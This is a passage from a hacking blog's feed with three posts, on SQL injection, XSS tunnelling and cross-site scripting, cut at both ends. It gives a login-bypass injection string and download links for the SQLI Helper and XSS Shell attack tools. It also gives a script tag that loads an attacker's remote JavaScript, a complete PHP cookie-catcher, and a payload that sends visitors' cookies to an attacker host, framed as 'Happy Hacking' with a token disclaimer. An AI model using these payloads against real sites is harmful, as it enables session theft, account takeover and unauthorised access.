&#39;john&#39; AND Password = &#39;doe&#39;&lt;/span&gt;&lt;/pre&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;This query retrieves the &lt;i&gt;ID&lt;/i&gt; and &lt;i&gt;LastLogin&lt;/i&gt;   fields of user &lt;b&gt;&lt;i&gt;john&lt;/i&gt;&lt;/b&gt; with password &lt;b&gt;&lt;i&gt;doe&lt;/i&gt;&lt;/b&gt; from table   &lt;i&gt;Users&lt;/i&gt;. In this example, a login page prompts the user to enter   her username and password into a form. When the form is   submitted, its fields are used to construct an SQL query shown   in Step 2 that   authenticates the user.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;SQL Injection Step 2:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; font-family: inherit; height: 40px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;sqlQuery = &quot;SELECT * FROM Users WHERE User = &#39;$username&#39; AND Password = &#39;$password&#39;&quot;&lt;/span&gt;&lt;/pre&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;If the login application does not perform correct input   validation of the form fields, the attacker can inject strings   into the query that alter its semantics. For example, consider an   attacker entering user credentials such as the ones shown in Step 3.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;SQL Injection Step 3:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; font-family: inherit; height: 40px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;User: &#39; OR 1=1 --&lt;br /&gt;Password: anything&lt;/span&gt;&lt;/pre&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Using the provided form data, the vulnerable web application   constructs a dynamic SQL query for authenticating the user as   shown in Step 4.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;SQL Injection Step 4:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; font-family: inherit; height: 40px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SELECT * FROM Users WHERE User = &#39;&#39; OR 1=1 -- &#39; AND Password = &#39;anything&#39;&lt;/span&gt;&lt;/pre&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;The &quot;&lt;b&gt;--&lt;/b&gt;&quot; command indicates a comment in Transact-SQL. Hence, everything after the first &quot;&lt;b&gt;--&lt;/b&gt;&quot; is ignored by the SQL database engine. With the help of the first quote in the input string, the user name string is closed, while the &lt;b&gt;&#39;&#39; OR 1=1&lt;/b&gt; adds a clause to the query which evaluates to &lt;b&gt;true&lt;/b&gt; for every row in the table. When executing this query, the database returns all user rows, which applications often interpret as a valid login.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TSBDvjrbx-I/AAAAAAAAAa0/seNNJLWHGO0/s1600/concept_sqlinjection_smaller.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5557516424485521378&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TSBDvjrbx-I/AAAAAAAAAa0/seNNJLWHGO0/s400/concept_sqlinjection_smaller.png&quot; style=&quot;cursor: pointer; display: block; height: 174px; margin: 0px auto 10px; text-align: center; width: 331px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TSBHFnf0jlI/AAAAAAAAAa8/yr2xRNpVP6w/s1600/hackwebsite1.jpg&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;SQLI Helper:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SQLI Helper is handy software to hack website by injecting SQL query to the database.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TSBHFnf0jlI/AAAAAAAAAa8/yr2xRNpVP6w/s1600/hackwebsite1.jpg&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5557520102002560594&quot; src=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TSBHFnf0jlI/AAAAAAAAAa8/yr2xRNpVP6w/s400/hackwebsite1.jpg&quot; style=&quot;cursor: pointer; display: block; height: 147px; margin: 0px auto 10px; text-align: center; width: 348px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Download &lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;SQLI Helper&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; from &lt;a href=&quot;http://www.ziddu.com/download/13226129/SQLiHelper2.7.rar.html&quot;&gt;&lt;span style=&quot;color: #33cc00; font-weight: bold;&quot;&gt;here&lt;/span&gt;&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Protection:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;1. Web application developers need to consider malicious input data and sanitize it properly before using it to construct dynamically generated SQL queries.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;2. A straight-forward, though error-prone, way to prevent injections is to escape characters that have a special meaning in SQL. In PHP, for example, it is usual to escape parameters using the function &lt;b&gt;&lt;i&gt;mysql_real_escape_string()&lt;/i&gt;&lt;/b&gt;; before sending the SQL query:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; font-family: inherit; height: 80px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;$query = sprintf(&quot;SELECT * FROM &#39;Users&#39; WHERE UserName=&#39;%s&#39; AND Password=&#39;%s&#39;&quot;,&lt;br /&gt;mysql_real_escape_string($username),&lt;br /&gt;mysql_real_escape_string($password));&lt;br /&gt;mysql_query($query);&lt;/span&gt;&lt;/pre&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;3. Another way of helping developers is to implement user data encoding within the web server application environment. For example, Microsoft implemented such security checks in their .NET framework.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;br /&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/1664094781097369637/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2011/01/sql-injection.html#comment-form' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/1664094781097369637'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/1664094781097369637'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2011/01/sql-injection.html' title='SQL INJECTION'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_6Y3t2XpO2oE/TSA9MkPdrcI/AAAAAAAAAas/_-uz1TzjGwA/s72-c/sql_injection.gif" height="72" width="72"/><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-8329056887556455619</id><published>2010-12-31T12:47:00.000-08:00</published><updated>2011-01-03T02:45:57.624-08:00</updated><title type='text'>XSS TUNNELLING</title><content type='html'>&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;What is XSS Tunnelling?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;XSS Tunnelling is the tunnelling of HTTP traffic through an XSS Channel to use virtually any application that supports HTTP proxies.&lt;span style=&quot;font-weight: bold;&quot;&gt; &lt;/span&gt;XSS Tunnel is a standard HTTP proxy which sits on an attacker’s system.   Any tool that is configured to use it will tunnel its traffic through  the active XSS Channel on the XSS Shell&lt;a href=&quot;http://labs.portcullis.co.uk/application/xssshell/&quot;&gt; &lt;/a&gt;server.  The XSS Tunnel converts the request and responds transparently to validate the HTTP responses and XSS Shell requests.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TR5KYlVLgkI/AAAAAAAAAak/ocTjD42_vKE/s1600/xss_1.png&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 350px; height: 184px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TR5KYlVLgkI/AAAAAAAAAak/ocTjD42_vKE/s400/xss_1.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5556960776420033090&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;XSS Channel:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;An XSS Channel is an interactive communication channel between two systems&lt;br /&gt;which is opened by an XSS attack. At a technical level, it is a type of AJAX&lt;br /&gt;application which can obtain commands, send responses back and is able to talk&lt;br /&gt;cross-domain.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;XSS Shell:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;The XSS Shell is a tool that can be used to setup an XSS Channel between a victim&lt;br /&gt;and an attacker so that an attacker to control a victim’s browser by sending it&lt;br /&gt;commands. This communication is bi-directional.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;Download &lt;span style=&quot;font-weight: bold;font-size:100%;&quot; &gt;XSS Shell&lt;/span&gt; from &lt;span class=&quot;Apple-style-span&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: rgb(51, 204, 0);&quot; href=&quot;http://www.ziddu.com/download/13229659/xssshell.rar.html&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;here&lt;/span&gt;&lt;/a&gt;.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Example:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;To get the XSS Shell to work an attacker needs to inject the XSS Shell’s JavaScript&lt;br /&gt;reference by way of an XSS attack. The attacker is then able to control the victim’s&lt;br /&gt;browser. After this point the attacker can see requests, responses and is able to&lt;br /&gt;instruct the victim’s browser to carryout requests etc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; overflow: auto; width: 500px; height: 45px; text-align: left; margin: 0pt; padding: 6px;&quot;&gt;http://example.com/q=&quot;&amp;gt;&amp;lt;script&lt;br /&gt;src=&quot;http://xssshellserver/xssshell.asp&quot;&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt; &lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;How Does XSS Shell Work?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Firstly, the server side part of the XSS Shell coordinates the XSS Shell between an&lt;br /&gt;attacker and the victim. It is a server-side application and requires an ASP and IIS&lt;br /&gt;web server. It uses an MS Access database as storage.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TR5F-YKk0bI/AAAAAAAAAaU/ptM5pxL1hwU/s1600/xss.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 220px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TR5F-YKk0bI/AAAAAAAAAaU/ptM5pxL1hwU/s400/xss.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5556955928162783666&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The second part of the tool is client-side and written in JavaScript. This loads in the&lt;br /&gt;victim’s browser and is responsible for the receiving and processing of commands&lt;br /&gt;together with providing the channel between the victim and the attacker. This code&lt;br /&gt;was tested under Firefox, IE6 and IE7.&lt;br /&gt;&lt;br /&gt;The final part of the XSS Shell is the administration interface. An attacker can send&lt;br /&gt;new commands and receive the responses from a victim(s) browser instantly from&lt;br /&gt;this interface. Again it is ASP and requires IIS.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TR5HIegKYsI/AAAAAAAAAac/GLlNP9khtyI/s1600/xss-2.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 429px; height: 248px;&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TR5HIegKYsI/AAAAAAAAAac/GLlNP9khtyI/s400/xss-2.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5556957201174258370&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;1. An attacker infects a website with a persistent or reflected (temporary) XSS&lt;br /&gt;attack which calls remote XSS Shell JavaScript.&lt;br /&gt;&lt;br /&gt;2. The Victim follows a link or visits the page and executes the JavaScript within&lt;br /&gt;that domain.&lt;br /&gt;&lt;br /&gt;3. The Victim’s browser begins to perform periodic requests to the XSS Shell&lt;br /&gt;Server and looks for new commands.&lt;br /&gt;&lt;br /&gt;4. When the victim browser receives a new command such as (Get Cookies,&lt;br /&gt;Execute custom JavaScript, Get Key logger Data etc.) it is processed and&lt;br /&gt;returns the results to the XSS Shell.&lt;br /&gt;&lt;br /&gt;5. The Attacker can push new commands to victim(s) browser and view the&lt;br /&gt;results from the XSS Shell administration interface.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color:red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/8329056887556455619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2010/12/xss-tunnelling.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/8329056887556455619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/8329056887556455619'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2010/12/xss-tunnelling.html' title='XSS TUNNELLING'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_6Y3t2XpO2oE/TR5KYlVLgkI/AAAAAAAAAak/ocTjD42_vKE/s72-c/xss_1.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-3436620577033529022</id><published>2010-12-07T06:38:00.001-08:00</published><updated>2016-02-28T02:52:45.700-08:00</updated><title type='text'>CROSS-SITE SCRIPTING</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;What is Cross-Site Scripting ?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Cross-site scripting (XSS) is a type of computer security &lt;span class=&quot;mw-redirect&quot;&gt;vulnerability&lt;/span&gt; typically found in web applications that enables malicious attackers to inject &lt;span class=&quot;mw-redirect&quot;&gt;client-side script&lt;/span&gt; into web pages viewed by other users.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_6Y3t2XpO2oE/TP9tNv25XwI/AAAAAAAAAZg/r2uPjVTKbsg/s1600/xss-threat3.jpg&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5548273348896186114&quot; src=&quot;https://1.bp.blogspot.com/_6Y3t2XpO2oE/TP9tNv25XwI/AAAAAAAAAZg/r2uPjVTKbsg/s400/xss-threat3.jpg&quot; style=&quot;cursor: pointer; display: block; height: 180px; margin: 0px auto 10px; text-align: center; width: 290px;&quot; /&gt;&lt;/a&gt;An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. The malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;Techniques :&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Basically Cross Site Scripting is taking advantage of web application  that takes user input but do not filter it properly. It allows an  attacker to inject things like HTML or other java scripts or some  malicious codes, basically these codes or scripts used to steal  the information of the user and mostly its used to steal the cookies.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TP92ehdnIoI/AAAAAAAAAZo/aUrU4NelKfI/s1600/HTTP-Cookie-Google.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5548283532694463106&quot; src=&quot;https://3.bp.blogspot.com/_6Y3t2XpO2oE/TP92ehdnIoI/AAAAAAAAAZo/aUrU4NelKfI/s400/HTTP-Cookie-Google.png&quot; style=&quot;cursor: pointer; display: block; height: 143px; margin: 0px auto 10px; text-align: center; width: 297px;&quot; /&gt;&lt;/a&gt;These cookies are used to maintain the user authentication on that  particular website. So the basic idea is if an attacker can manage to  get the cookies of a particular user than he may easily login to their  account.&lt;br /&gt;&lt;br /&gt;There are basically three types of XSS attacks:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;1. Persistant XSS:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Persistant or Stored or Type-I XSS occurs when the data provided by the attacker is saved by the server, and then permanently displayed on normal pages returned to other users in the course of regular browsing, without proper HTML escaping.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Vulnerability Testing:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lets login as an User in a particular forum or some discussion board.  Once you are logged in create a new thread name it as anything but in  the body of the thread lets put:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Script Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 25px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&amp;lt;script&amp;gt;alert(&quot;test&quot;);&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;br /&gt;If you get any alert popping-up which says &lt;b&gt;test&lt;/b&gt;, then you have got the site which is &lt;b style=&quot;font-weight: normal;&quot;&gt;Persistant Attack Vulnerable.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TP971QVUZxI/AAAAAAAAAZw/17Qzi9EiUfw/s1600/youtube-xss-cordobo.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5548289420791408402&quot; src=&quot;https://3.bp.blogspot.com/_6Y3t2XpO2oE/TP971QVUZxI/AAAAAAAAAZw/17Qzi9EiUfw/s400/youtube-xss-cordobo.png&quot; style=&quot;cursor: pointer; display: block; height: 148px; margin: 0px auto 10px; text-align: center; width: 310px;&quot; /&gt;&lt;/a&gt;Now the attacker will use a &lt;span style=&quot;font-weight: bold;&quot;&gt;Cookie Catcher&lt;/span&gt; in order to steal the user&#39;s session cookie. Cookie catcher is basically a PHP file which can  store information directly sent to it from a browser.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Script Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 100px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&amp;lt;?php&lt;br /&gt;$cookie = $_GET[&#39;c&#39;];&lt;br /&gt;$ip = getenv (&#39;REMOTE_ADDR&#39;);&lt;br /&gt;$date=date(&quot;j F, Y, g:i a&quot;);;&lt;br /&gt;$referer=getenv (&#39;HTTP_REFERER&#39;);&lt;br /&gt;$fp = fopen(&#39;cookies.html&#39;, &#39;a&#39;);&lt;br /&gt;fwrite($fp, &#39;Cookie: &#39;.$cookie.&#39;&amp;lt;br&amp;gt; IP: &#39; .$ip. &#39;&amp;lt;br&amp;gt; Date and Time: &#39; .$date. &#39;&amp;lt;br&amp;gt; Referer: &#39;.$referer.&#39;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#39;);&lt;br /&gt;fclose($fp);&lt;br /&gt;header (&quot;Location: http://www.google.com&quot;);&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;Upload this script to a PHP supported web hosting site like &lt;span style=&quot;font-style: italic; font-weight: bold;&quot;&gt;ripway&lt;/span&gt; or &lt;span style=&quot;font-style: italic; font-weight: bold;&quot;&gt;t35&lt;/span&gt; or &lt;span style=&quot;font-style: italic; font-weight: bold;&quot;&gt;110mb.com&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;And now we will need to change the  script which needs to put in a new thread so cookie is sent accross to  the cookie catcher.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Script Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 35px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&amp;lt;script&amp;gt;document.location=&quot;www.yourhost.com/cookiecatcher.php?c=&quot; + document.cookies&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Post this in the body of your thread. Now if someone clicks on the thread, their cookies would be sent to you as a text format and the user will be redirected to &lt;span style=&quot;font-style: italic; font-weight: bold;&quot;&gt;www.google.com&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;2. Non-persistant XSS:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The Non-persistent or Reflected or Type-II XSS vulnerability is by far the most common type. These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to generate a page of results for that user, without properly sanitizing the request.&lt;br /&gt;&lt;br /&gt;Many web portals offer a personalized view of a web site and may greet a logged in user as &lt;span style=&quot;font-weight: bold;&quot;&gt;Welcome, Joe&lt;/span&gt;. Sometimes the data referencing a logged in user is stored within the query string of a URL: &lt;span style=&quot;font-style: italic;&quot;&gt;&lt;b&gt;http://portal.example/index.php sessionid=12312312&amp;amp;username=Joe&lt;/b&gt;.&lt;/span&gt; If an attacker were to modify the username field in the URL, inserting a  cookie-stealing JavaScript, it would possible to gain control of the  user&#39;s account if they managed to get the victim to visit their URL. Most of the time an attacker will URL Encode their malicious payload by ASCII-HEX converter similar to the example below:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Encoded URL:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 100px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;http://portal.example/index.php?sessionid=12312312&amp;amp;&lt;br /&gt;username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65&lt;br /&gt;%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70&lt;br /&gt;%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65&lt;br /&gt;%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F&lt;br 